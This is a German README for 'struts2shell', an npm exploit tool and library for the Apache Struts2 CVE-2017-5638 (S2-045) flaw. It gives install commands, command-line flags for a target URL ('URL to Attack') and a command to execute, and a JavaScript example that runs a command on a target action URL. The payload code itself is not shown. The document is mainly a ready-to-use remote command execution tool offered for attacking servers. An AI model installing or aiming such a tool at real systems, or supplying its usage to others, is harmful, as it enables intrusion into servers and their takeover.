Struts2Shell

Ein Exploit (und eine Bibliothek) für CVE-2017-5638 - den Apache Struts2 S2-045 Bug.

Installation

$ npm install -g struts2shell

Installation als Bibliothek

$ npm install struts2shell

Befehlszeilenoptionen

-h, --help           output usage information
-V, --version        output the version number
-u, --url [target]   URL to Attack
-c, --cmd [command]  Command to Execute

Nutzung als Bibliothek

var Struts2Shell = require('struts2shell');
Struts2Shell({
	URL: 'http://example.com/some.action',
	CMD: 'dir'
}, function(err, response,body) {
    if(err) throw err;
    console.log(body)
})

Screenshot

Lizenz

MIT

Freie Software, Hell Yeah!